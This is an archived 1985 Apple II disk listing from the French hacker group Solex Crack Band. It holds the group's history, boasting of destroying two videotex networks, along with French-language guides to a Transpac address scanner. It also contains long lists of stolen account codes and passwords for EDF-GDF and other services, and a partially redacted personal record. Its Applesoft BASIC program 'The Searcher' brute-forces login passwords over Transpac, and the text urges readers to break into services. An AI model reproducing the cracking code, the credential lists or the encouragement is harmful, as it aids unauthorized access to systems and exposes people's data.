DOS 3.3	Download S.C.B. Network with The Searcher (gzipped)
	DOS 3.3	Download S.C.B. Network with The Logon (gzipped)

File: Solex_Crack_Band.do
Disk: DOS 3.3 Volume 001
 Name                             Type Auxtyp Modified         Format   Length
------------------------------------------------------------------------------
 HELLO                            BAS  $0801  [No Date]        DOS         498
 DIVERS.MW                        TXT  $0000  [No Date]        DOS        3010
*SCB                              BIN  $2000  [No Date]        DOS        8184
 TELE.MW                          TXT  $0000  [No Date]        DOS        2830
*THE SEARCHER                     BAS  $0801  [No Date]        DOS        2527
 INTER.MW                         TXT  $0000  [No Date]        DOS        1118
*START                            BAS  $0801  [No Date]        DOS          92
 NUMEROS                          TXT  $0000  [No Date]        DOS           0
*TRANSCAN.ASM                     BIN  $8000  [No Date]        DOS         353
*TRANSCAN.SPD                     BIN  $0801  [No Date]        DOS       11565
*TELEPOM                          BIN  $2800  [No Date]        DOS        5872
 HIS.MW                           TXT  $0000  [No Date]        DOS        3369
 HELLO1                           BAS  $0801  [No Date]        DOS         885
 SEAR.MW                          TXT  $0000  [No Date]        DOS        2018
 EDF.MW                           TXT  $0000  [No Date]        DOS       25858
 TRANS.MW                         TXT  $0000  [No Date]        DOS        1867
*SCB'S MAIN                       BAS  $0801  [No Date]        DOS        1895
*TGM                              BIN  $1000  [No Date]        DOS        4096
*IMAGE                            BIN  $2000  [No Date]        DOS        8191
------------------------------------------------------------------------------

Lien	Fichier
	Historique du Solex Crack Band.
	Transcan.
	The Searcher.
	Telesystemes EDF-GDF.
	EDF.
	Accès internationaux.
	Divers.
	SCB'S MAIN.
	The Searcher.

               (c) The Solex Crack Band 1985 (c)

                        -= History =-


     Le Solex Crack Band s'est forme aux mois de Juillet-Aout
1984, lors de la fermeture de reseau Microdial.
En effet, celui ci avait 'subit' des plantages divers, ainsi que
quelques modifications de factures pour les abonnes.
Nous tenons a souligner que ce n'etait pas les actions du S.C.B.

     Lors de cette fermeture donc, Le S.C.B. a decide de creer
lui meme son propre petit reseau, toujours sur Telesystemes,
lieu ou etait Microdial.  Ce reseau 'fantome' est donc reste 6 a
7 mois sur Telesystemes, jusqu'au jours ou ils nous ont
decouverts. Nous avons tout de suite recidive en en remontant un
sur un autre compte. Mais, ne voulant rien entendre, TS nous a
encore coupe. Alors, nous avons telephone, toujours anonymement,
pour leur demander poliement de nous ceder un compte, sur lequel
tournerait notre application (ils etaient bon, disaient-ils!).
Alors, ils nous ont mit au deffit, en nous demandant de leur
prouver ce que nous savions faire....Ils n'ont pas ete decu !
Les 2 plus grand reseaux ont ete detruits : Microdial (qui etait
en reparations) et Theleme (le tout, plus de 1200 abonnes!) ont
ete definitivement mis hors service.

      Le solex Crack Band s'est aussi attaque a d'autres centres
serveurs divers (voir la liste ci jointe sur la diskette), et
leurs actions ne se sont pas limitees qu'a cela.

Vous avez peut etre lu L'EVENEMENT DU JEUDI, du 13/12/84 ?
Alors vous en saurez plus.
Avez vous regarde l'emmission Tv du 28/02/85 ?
Et bien, vous connaissez mieux le S.C.B.

Le groupe se compose d'une dizaine de personnes.
Par ordre alphabetique :


      Big Apple (Biggy)                Dune
      David's Bug (...DD)              Foxy the Cunning
      Hacker                           James
      The Kid Apple (Kid)              Le Musicien Infernal (Muzi
      Picture (Pict.)                  Welric
      Zorro

Nous defendons tous un seul but : la Communication.
Nous voulons pouvoir partager gratuitement et pendant des soirees
entieres, des discutions, sur des convivialitees, des
messageries, ou autres moyens, comme nous avions l'habitude
de le faire sur Aphrodite's (le reseau detuit par Telesystemes).

    Pour l'instant, et surtout a cause du tapage de la presse
a notre sujet, nous arretons les actions, et nous nous contentons
de nous amuser sur des services tels que L'A.F.P., ou ceux des
diverses bases de donnees francaises, et meme internationnales.

     Le groupe est en contact avec un groupe similaire au notre,
aux Etats Unis, et il est inutile de dire que nous preparons
ensemble des coups.....fumants ! Ne vous inquiettez pas,
vous en entendrez parler.

         A tous, nous souhaitons que cette diskette vous sera
utile, et que vous en ferez bon usage.

    Nous tenons a preciser que nous ne voulons pas la destruction
ou le mal, et piratant, mais ce que nous voulons, c'est seulement
pouvoir creer, communiquer, discuter, se retrouver.
Alors soyez de vrais pirates : ne touchez pas a bien des autres
sans que l'on ne vous y ai invite. Entrez dans les services,
violez les informations, listez tout ce que vous voulez :
le secret ne doit pas exister. Tout doit etre dit au public.

          A tous, nous vous souhaitons de bons piratages,
      utiles et agreables.


                        Le Solex Crack Band.

             (c) The Solex Crack Band 1985 (c)

                     -= Transcan =-


    Transcan est un logiciel vous permettant de rechercher
les codes transpac. En effet, certains d'entre eux  figurent
deja sur l'annuaire des Ptt, mais la plupart (et les plus
interressants, croyez moi!) n'y figurent pas.

Transcan se charge de les trouver seul, sans que vous n'ayez a
intervenir en quoi que ce soit.
Ce logiciel est actuellement distribue par Micromat,
au prix de 450 ff, ce qui est abominable pour un programme
de piratage ! Le Solex Crack Band est heureux de vous
l'offrir sur sa diskette de piratage.

     Pour vous en servir, vous devrez utiliser un modem
accoustique, un buzz box, ou tout autre modem, mais surtout fonc-
tionnant avec une carte serie Rs-232. Ce logiciel ne fonctionne
ni avec la carte Apple Tell, la carte Novation, ou encore
avec le Digitelec.

    Son utilisation en est tres simple...

Simplement, lorsque le programme vous demande de rentrer le 1er
code transpac, rentrez celui avec lequel vous voulez
commencer la recherche. Pour le second, il s'agit alors du code
avec lequel vous voudrez terminer.

Par exemple : 192000210 jusqu'a 192000359, ce qui nous donne
la possibilite de trouver 149 codes Transpac differants.

    Le principe de taxe telephonique est le meme que pour The
Searcher. Cela ne vous coutera qu'une seule taxe de base une fois
pour toute.
     D'autre part, le logiciel se chargera de la sauvegarde sur
diskettes des codes trouves. Alors vous pourrez aller dormir
tranquillement pendant que votre Apple travaillera !

         The Searcher et Transcan accouples, forment les
programmes de piratage les plus developpes pour le pirate
moyen. Mais sachez qu' a ce niveau, il s'agit d'une question
de chance, car les recherches, surtout a 300Bds, sont longue...


                           The Solex Crack Band.

               (c) The Solex Crack Band 1984 (c)


                      -= The Searcher =-

The Searcher est un programme de la creation du Solex Crack
Band, permettant a tous ceux qui possedent une carte Apple tell
de pirater et de trouver tous les mots de passe que peuvent
mettre les reseaux et les centres serveurs pour les entrees, ou
LOGIN. Bien evidement, la recherche est longue, et
proportionnelle a mot de passe a trouver, mais en tous cas,
le programme le trouvera.

       Pour utiliser ce logiciel, vous devrez creer une diskette
qui bootera automatiquement sur le programme 'TELEPOM' livre sur
ce disk. Le programme 'THE SEARCHER' qui se trouve aussi
sur notre disk devra etre appele 'HELLO'.
Une fois ces operations faites, boottez la diskette creee, et
vous pourez utiliser The Searcher.

             Je pense qu'il n'y a pas besoin de mode d'emploie
special pour ce programme, car il est auto-explique, et simple
d'utilisation. Avant de commencer une recherche longue, nous
vous conseillons de faire quelques essais d'acces et de reponse.

     Une chose a savoir : le coup d'un appel sur Transpac
(601-91-00 ou 16(3) 601-91-00) est d'une seule taxe de base.
Lorsque vous vous connectez a un service accessible par
Transpac, cela ne vous coutera plus rien, une fois la composition
effectuee. Alors ne vous inquiettez pas. Le piratage d'un mot de
passe ne vous coutera pas plus cher qu'une taxe de base,
quelquesoit le temps, et le nombre de connexions que le programme
effectuera.

        Un dernier conseil : mettez en route ce programme la
nuit, avant de vous coucher, car la recherche sera longue.
Le programme se chargera de vous reveiller, d'imprimer
automatiquement le mot de passe trove, et de l'afficher sur
l'ecran. Lors de votre reveil, vous serez donc certain de trouver
votre mot de passe si precieux !

         Ce programme a fait ses preuves  : il a pirate plus
de 65 comptes sur Telesystemes (192000210)



               Bonne chance !

                   The Solex Crack Band.

Fichier personel de Passwords.
------------------------------


              (C) Solex Crack Band 1984


                                TELESYSTEMES EDF-GDF
                               ----------------------


EDF 00000,A    PASS= CAA                 EDF 51000,A   PASS= TGA
EDF 01000,A    PASS= WWA                 EDF 51001,A   PASS= TLA
EDF 01002,A    PASS= OYA                 EDF 51002,A   PASS= YUA
EDF 01003,A    PASS= SIA                 EDF 52000,A   PASS= GPA
EDF 10000,A    PASS= NCA                 EDF 53000,A   PASS= IPA
EDF 10001,A    PASS= WNA                 EDF 53004,A   PASS= EHA
EDF 11000,A    PASS= SZA                 EDF 54000,A   PASS= MVA
EDF 11001,A    PASS= NYA                 EDF 54001,A   PASS= GEA
EDF 17000,A    PASS= QCA                 EDF 54002,A   PASS= EGA
EDF 21000,A    PASS= LDA                 EDF 54003,A   PASS= GIA
EDF 21001,A    PASS= KQA                 EDF 55000,A   PASS= SCA
EDF 21002,A    PASS= QEA                 EDF 55001,A   P: AEAYTA
EDF 21003,A    PASS= HMA                 EDF 55002,A   PASS= TJA
EDF 21004,A    PASS= EGA                 EDF 55003,A   PASS= MWA
EDF 21005,A    PASS= YUA                 EDF 55004,A   PASS= OZA
EDF 24000,A    PASS= CMA                 EDF 55005,A   PASS= RFA
EDF 24001,A    PASS= UHA                 EDF 56000,A   PASS= LDA
EDF 24002,A    PASS= NXA                 EDF 57000,A   PASS= EDA
EDF 24003,A    PASS= CCA                 EDF 60000,A   PASS= AEA
EDF 24004,A    PASS= WRA                 EDF 60001,A   PASS= ZWA
EDF 24005,A    PASS= NYA                 EDF 60002,A   PASS= SIA
EDF 26000,A    PASS= LPA                 EDF 60003,A   PASS= INA
EDF 27000,A    PASS= IQA                 EDF 60004,A   PASS= LTA
EDF 27001,A    PASS= BYA                 EDF 60005,A   PASS= PZA
EDF 27002,A    PASS= CBA                 EDF 61000,A   PASS= NXA
EDF 28000,A    PASS= ORA                 EDF 61002,A   PASS= CBA
EDF 28001,A    PASS= EDA                 EDF 62000,A   PASS= YRA
EDF 28002,A    PASS= BYA                 EDF 62001,A   PASS= FHA
EDF 31000,A    PASS= FFA                 EDF 62002,A   PASS= CBA
EDF 31001,A    PASS= WRA                 EDF 62003,A   PASS= YSA
EDF 31002,A    PASS= FHA                 EDF 62004,A   PASS= ULA
EDF 32000,A    PASS= HDA                 EDF 69000,A   PASS= PFA
EDF 32001,A    PASS= VMA                 EDF 69001,A   PASS= VOA
EDF 32002,A    PASS= KRA                 EDF 70000,A   PASS= VRA
EDF 32003,A    PASS= RDA                 EDF 70001,A   PASS= XSA
EDF 45000,A    PASS= NDA
EDF 50000,A    PASS= TVA
                         TELESYSTEMES, SERIE ECA
                         ------------------------



ECA 40008,DEMA
ECA 40004,CASAM
ECA 84010,ZERA




                         TELESYSTEMES, SERIE ECB
                        -------------------------


ECB 17082,MUN
ECB 22001,TRIA

<J'ai censuré le contenu du fichier car il contient des noms et adresses
de personnes> Voir les disquettes plutôt.

Juste un exemple:
F***** PHILIPPE     EDF-GDF SUBD. LE PUY3 CHEMIN STE CATHERINE                                                          43000LE PUY
             21791EDF71004BAA1         

                         Acces internationnaux
                        -----------------------


                  Codes strictemenents confidentiels,
                     reseves aux membres du S.C.B.


Acces international :

           106040310   ou 17802016901

TAPER :
-------


    - DES L'ENTREE :


         CNTRL P PROF 13

    - ENSUITE :


       - C TPC  <CR>

       - 07 <CR>

       - <CR>

       - C PAD <CR>


PUIS, LE CODE D'ACCES AU RESEAU SE TROUVANT N'IMPORTE OU
SUR LE GLOBE TERRESTRE (DESOLE, MAIS L'ACCES LUNAIRE N'A PAS
ENCORE ETE TROUVE...C'EST POUR BIENTOT !!)


Acces, Internationnaux :


                                      UNITES STATES
                                     ---------------


- The Source :  0311030100159

- Medline : 0311030100020

- Tymnet : 031060928

- Telenet : 03110030100020

-         : 031104120012303
- Carnegie Melon : 031104120012303





                                      EUROPE
                                     --------


-         : 234219200222

-         : 262457240141 ou 26245724740001

-         : 234275312212

-         : 208077000841

                (C) COPYRITGHT S.C.B. 1984 (C)
                ------------------------------


                 Acces divers, mots de passe.
                -----------------------------


-  17506053202 : CMI, Centre-20

-  175020799 : CMI, Centre-VAX

-  159001115 : SEGIN1

-  159000331 : SEGIN2

-  *106040092 : DRT Marseille

-  *159000645 : DRT Lille

-  0311061700138 : MIT-Multics

-  135000349 : CICB Rennes

-  192080105 : annuaire TELETEL

-  178060731 : TS Commander I

-  135000201 : annuaire TELECOMS

-  135000113 : ann. Isle & Vilaine

-  133000680 : DRT Bordeaux

-  144000440 : DRT Nantes

-  192020750 : GFI-Telesource

-  Ts ED 1   :192000359
             :192020330
             :178020946
             :178060732

-  192000210 : TS Eurodial 2

-  16 (55) 32 92 20 DRT LIMOGES

-  133001015 PROTEGE VIDEOTEX

-  16 (61) 22 80 80 DRT TOULOUSE

-  16 (1) 336 80 50 VOYAGEL

-  16 (1) 306 66 66 ZODIAQUE

-  16 (67) 72 43 62 DFPT

-  16 (31) 95 06 35 DRT CAEN

-  16 (21) 43 48 48 DRT LENS

-  SUSAN 142040052

-  DRT ROUEN*176000695

-  *144000440 DRT NANTES

-  16.27.426080 DRT VALENCIENNES

-  16.81523111 DRT BESANCON

-  DIPAS 13275807 Code DANUBE ?

-  16.49.614711 DRT POITIERS

-  SESAME 175040036DVTEX
   essayer 3344DT AGRI Code client
   LA01-754401

-  SERVICE SA 17704015020
   Code 99963 passe COBYV9

-  BRST 192020330 Cde ECA 84804,NE ?

-  CTLM2 (abrege) pas de code

-  ARTEL 180000576

-  BP LORRAINE 157020427

-  ICOREM 113001215

-  CLAIRE 16.76.511515 CGAM-DEMO

-  TFORA (abrege)

-  TFORB (abrege)

-  CHAMBRE DU COMMERCE : 169000347DBAO  PASS= 'GEST' & 'CCIVD'

-  SORITEL : EXPO PASS= '3022'

-  BIAM : BI  PASS= '5N6' ou '5E2'

-  TBDGT : 192000359   PASS= 'ECB33123'

-  QUESTEL CAPA : 106000019   PASS= '1433,40680:01' & 'CAPA'

-  JANSSEN : 106000019   PASS= '51483:01' & '9K8F' ou '9850'

-  PRIME : 192020319  PASS= 'FOREST'

-  GUILLAUME TELL : 114001009   PASS= '614A009V'

-  FACTURES PTT : 534-75-12   PASS= 'HISVER' & '015V'

-  SERVICE SA. : '17704015020  PASS= '99963' & 'COBYV9'

-  DRT NORMANDIE : '176000695' puis SOMMAIRE puis 'ABONNE'
                               puis 'DRT' puis 'DEMO'

-  CPE VIDEO : 175000925   PASS= 'CPE'  &  'FLASH'

-  PSY INFORMATION : 192000359   PASS= 'ECA97300,P'

-  GFI TELESOURCE :  192020750   PASS= '2112A'

-  ANNUAIRE INTERNE DES PTT : 135000171   OU *135000201

-  B.N.I. :  151020419  PASS= 'CRAC' ou 'SFE' ou 'UNION' ou
                              'ORCA'

-  CIRCEE : CIRCE  PASS= 'D020' puis '1984'

-  CNETEL : 12200013222

-  GSI-DRI BILLETS D'AVION : 175060525  PASS= 'PAN-AM' puis
                                              'LLX02'

-  JOURNATEL : *175020336   PASS= 'JOUR' puis 'TSV'

-  GCAM : 177000841DBRS  PASS= 'ANDRES'

-  SYDONIE TELEBOUTIQUE : 721-99-99

-  LITP UNIX 4.2 BSD : 175020655

-  UNIX : 19202066836

-  CNUSC : 134020037  PASS= 'IBM' ou 'CNRS' ou 'CASE' ou 'conte'




EN VRAC:
-------


    - 193001606

    - TIM

    - 192020750

    - 178020118

    - 175000394

 10  PRINT  CHR$ (4);"BLOAD SCB,A$            2000": POKE  - 16304,0: POKE  - 16297,0:
 PRINT  CHR$ (7): PRINT  CHR$ (7): GET Z$: PRINT : PRINT
 20  TEXT : HOME
 30  FLASH : HTAB 07: PRINT "(C) SOLEX CRACK BAND 1985 (C)": NORMAL
 40  PRINT : PRINT : HTAB 11: PRINT "-= S.C.B.'S PIRACY =-"
 45  PRINT : PRINT "             BY DAVID'S BUG"
 50  PRINT : PRINT : PRINT "TAKE CARE : THIS IS THE S.C.B.'S DISK !"
 60  PRINT : PRINT : PRINT "- A -  S.C.B.'S SEARCHER (APPLE TELL)"
 70  PRINT : PRINT "- B -  PASS DIVERS ET VARIES"
 80  PRINT : PRINT "- C -  PASS TELESYSTEMES"
 90  PRINT : PRINT "- D -  PASS INTERNATIONNAUX"
 92  PRINT : PRINT "- E -  HISTORY OF THE S.C.B."
 95  PRINT : PRINT "- F -  TRANSCAN (-G- HOW TO USE IT)"
 100  PRINT : NORMAL : INPUT "MAKE YOUR CHOICE ?";Z$
 110  IF Z$ = "A" THEN N$ = "SEAR.MW": GOTO 2000
 120  IF Z$ = "B" THEN N$ = "DIVERS.MW": GOTO 2000
 123  IF Z$ = "E" THEN N$ = "HIS.MW": GOTO 2000
 125  IF Z$ = "F" THEN  GOTO 9000
 130  IF Z$ = "C" THEN N$ = "TELE.MW": GOTO 2000
 140  IF Z$ = "D" THEN N$ = "INTER.MW": GOTO 2000
 145  IF Z$ = "G" THEN N$ = "TRANS.MW": GOTO 2000
 150  GOTO 20
 1000  REM  PASS DIVERS
 1005  TEXT : HOME
 1010  INPUT "SORTIE IMPRIMANTE ?";I$
 1011  IF I$ = "O" THEN S = 1
 1012  TEXT : HOME
 1013  PRINT "<ctrl-D>PR#";S
 1015  PRINT "<ctrl-D>MON I"
 1020  PRINT "<ctrl-D>OPEN DIVERS"
 1030  PRINT "<ctrl-D>READ DIVERS"
 1035  ONERR  GOTO 1050
 1040  GET A$
 1041  PRINT A$;
 1042  GOTO 1040
 1050  PRINT "<ctrl-D>PR#0": PRINT "<ctrl-D>CLOSE DIVERS":S = 0
 1055 S = 0
 1060  FOR I = 1 TO 4000: NEXT I: GOTO 20
 2000  REM  **** READ OF TEXT FILES
 2010  TEXT : HOME : PRINT "NOUS TENONS A PRECISER QUE LES MOTS DE
 PASS CI-JOINT ONT ETE PIRATES IL Y": PRINT "A DEJA QUELQUES MOIS....ALORS SI":
 PRINT "CERTAINS NE FONCTIONNAIENT PAS, ILS ONT DU TOUT SIMPLEMENT ETRE CHANGE...":
 PRINT : PRINT
 2011  INPUT "SORTIE IMPRIMANTE ?";A$
 2012  IF A$ = "O" THEN  INPUT "PRINTER SLOT ?";S
 2013  TEXT : HOME
 2014  PRINT "<ctrl-D>PR#";S
 2020  PRINT  CHR$ (4);"MON I"
 2030  PRINT  CHR$ (4);"OPEN ";N$
 2040  PRINT  CHR$ (4);"READ ";N$
 2050  ONERR  GOTO 2080
 2060  GET A$
 2070  PRINT A$;
 2075  GOTO 2060
 2080  PRINT  CHR$ (4);"PR#0": PRINT  CHR$ (4);"CLOSE ";N$:S = 0
 2085  IF N$ = "TELE.MW" THEN  PRINT : INPUT "DO YOU WANT THE EDF FILE ?";A$: IF A$ = "O" OR A$ = "Y" THEN 3000
 2090  PRINT "PRESS A KEY...";: GET A$: PRINT : GOTO 20
 3000  HOME : PRINT "LE SOLEX CRACK BAND EST HEUREUX DE VOUS PRESENTER UNE PARTIE DU FICHER EDF"
 3010  PRINT "QUE VOUS A MONTRE A2, LE JEUDI 28/02/85."
 3020  PRINT : PRINT :N$ = "EDF.MW": GOTO 2011
 9000  REM  *** TRANSCAN
 9010  HOME : PRINT : PRINT : PRINT "     THE SOLEX CRACK BAND PRESENTS"
 9020  PRINT : PRINT : PRINT "           *** TRANSCAN ***"
 9030  PRINT : PRINT : PRINT : PRINT : PRINT : PRINT : PRINT "PLEASE, WAIT WHILE LOADING...."
 9040  PRINT  CHR$ (4);"RUN START"

 0  REM   ** PROGRAM CREATED BY
 1  REM   ** THE SOLEX CRACK BAND
 2  REM   ** SEPTEMBER 13TH 1984.
 3  REM   **
 4  REM   ** BY DUNE & DAVID'S BUG
 5  GOSUB 4000
 6 M$ = " "
 20 Z =  USR (0)
 30 Z =  USR (5),0
 40 Z =  USR (10),4,104
 50 Z =  USR (16),"RUN"
 60 Z =  USR (23),3
 70 Z =  USR (52),255,255
 75  GOSUB 1000
 80  FOR I = 1 TO 500: NEXT I
 90  PRINT
 100  PRINT "APPEL DU RESEAU TRANSPAC : -";N$;"- ";
 110 Z =  USR (12),N$
 120  PRINT : PRINT "CARRIER SEARCHING .......": PRINT
 130 Z =  USR (13),0
 135  CALL  - 1052
 140  IF Z = 0 THEN  PRINT : PRINT "CARRIER NOT FOUND. ABORTED.": END
 150  PRINT "CONNECTED TO TRANSPAC..."
 155  PRINT "CONNECTED TO ";TR$;": - ";TA$;" -"
 160 S$ = "C": GOSUB 3000
 165  FOR I = 1 TO 8
 166 Z =  USR (28): IF Z = 0 THEN 166
 167  NEXT I
 168  FOR I = 1 TO 500: NEXT I
 170 Z =  USR (24),TA$:Z =  USR (25),13
 175 S$ = "M": GOSUB 3000
 176  IF TA$ = "192000210" THEN S$ = "-": GOSUB 2000
 177  IF TA$ = "192000210" THEN S$ = "-": GOSUB 2000: GOSUB 2000
 195  REM
 196 Z =  USR (20)
 197  FOR I = 1 TO 500: NEXT I:Z =  USR (27),D$: PRINT D$
 200 Z =  USR (24),EN$:Z =  USR (25),13
 210 S$ = "V":S1$ = "R":S2$ = "L": GOSUB 2000:S1$ = "":S2$ = ""
 220  IF Z$ = S$ THEN  PRINT : PRINT : PRINT "* SORRY, WRONG FISRT ANSWER ...TRY AGAIN.": PRINT  CHR$ (7): END
 225  IF Z$ = "L" THEN 168
 230  FOR I = 1 TO 500: NEXT I:Z =  USR (27),D$: PRINT D$;
 235 P$ = ""
 237  IF RE$ = "O" THEN  GOSUB 7000: GOTO 270
 240  FOR I = 1 TO T
 250 P$ = P$ +  CHR$ ( INT ( RND (1) * 26) + 64)
 260  NEXT I
 270 Z =  USR (24),P$:Z =  USR (25),13
 275 S$ = CR$:S1$ = "B"
 276  IF TA$ = "192000210" THEN  GOSUB 2000
 277  GOSUB 2000: GOSUB 2000: FOR I = 1 TO 1000: NEXT I: IF Z$ = S1$ THEN 6000
 278 Z =  USR (20): FOR I = 1 TO 500: NEXT I:S1$ = ""
 279  GOSUB 1000
 280 Z =  USR (24),"LIB":Z =  USR (25),13
 400  GOTO 168
 500  END
 1000  HOME : PRINT "***************************************"
 1010  PRINT : PRINT "             THE SEARCHER"
 1020  PRINT : PRINT : PRINT "         BY DUNE & DAVID'S BUG"
 1030  PRINT : PRINT "     (C) SOLEX CRACK BAND 1984 (C)"
 1035  PRINT
 1040  PRINT "***************************************"
 1045  PRINT
 1110  RETURN
 2000  REM
 2010 Z$ =  CHR$ ( USR (28)): IF  ASC (Z$) = 0 THEN 2010
 2015  IF ( ASC (M$) = 13 OR  ASC (M$) = 10) AND ( ASC (Z$) = 13 OR  ASC (Z$) = 10) THEN 2010
 2018 M$ = Z$
 2020  IF Z$ = S$ OR Z$ = S1$ OR Z$ = S2$ THEN  PRINT  CHR$ (B);Z$; CHR$ (A);: RETURN
 2030  PRINT Z$;: GOTO 2010
 3000 Z$ =  CHR$ ( USR (28)): IF  ASC (Z$) = 0 THEN 3000
 3020  IF Z$ = S$ THEN  RETURN
 3030  GOTO 3000
 4000  REM
 4010  GOSUB 1000
 4015  PRINT : PRINT : INPUT "NUMERO D'APPEL TRANSPAC ?";N$
 4020  PRINT : INPUT "CODE TRANSPAC ?";TA$
 4030  PRINT : INPUT "PERMIERS CARACTERES A ENVOYER ?";EN$
 4040  PRINT : INPUT "NOMBRE DE CARACTERE DU PASSWORD ?";T
 4045  DIM C(T)
 4050  PRINT : INPUT "QUEL RESEAU VOULEZ VOUS PIRATER ?";TR$
 4070  PRINT : INPUT "CARACTERES DE REPONSE ?";CR$
 4150  PRINT : INPUT "RECHERCHE SEQUENTIELLE ?";RE$
 4151  FOR U = 1 TO T: LET C(U) = 65: NEXT U
 4155  PRINT : INPUT "DESIREZ VOUS ETRE REVEILLE ?";Q$
 4160  RETURN
 6000  GOSUB 1000
 6004  IF Q$ = "O" THEN  FOR I = 1 TO 50: PRINT  CHR$ (7);: NEXT I
 6005  PRINT : PRINT
 6010  PRINT : PRINT "Une fois encore le Solex Crack Band a vaincu la pieuvre informatique!"
 6020  PRINT : PRINT "Avec nous que les BIG BROTHERS se cachent!"
 6030  PRINT : PRINT : PRINT "Le PASSWORD de ";TR$;" a ete trouve... C'EST: ";
 6040  PRINT P$
 6050  IF  LEFT$ (Q$,1) = "O" THEN  PRINT  CHR$ (7);" ";P$;: GOTO 6050
 6060  END
 7000  REM  ROUTINE SEQUENTIELLE, LE PASS ETANT MIT DANS P$
 7020  IF C(T) <  > 91 THEN  GOTO 7050
 7030  FOR U = T TO 2 STEP  - 1: IF C(U) = 91 THEN C(U) = 65:C(U - 1) = C(U - 1) + 1
 7040  NEXT U
 7050  LET P$ = ""
 7060  FOR U = 1 TO T: LET P$ = P$ +  CHR$ (C(U)): NEXT U
 7070 C(T) = C(T) + 1
 7080  RETURN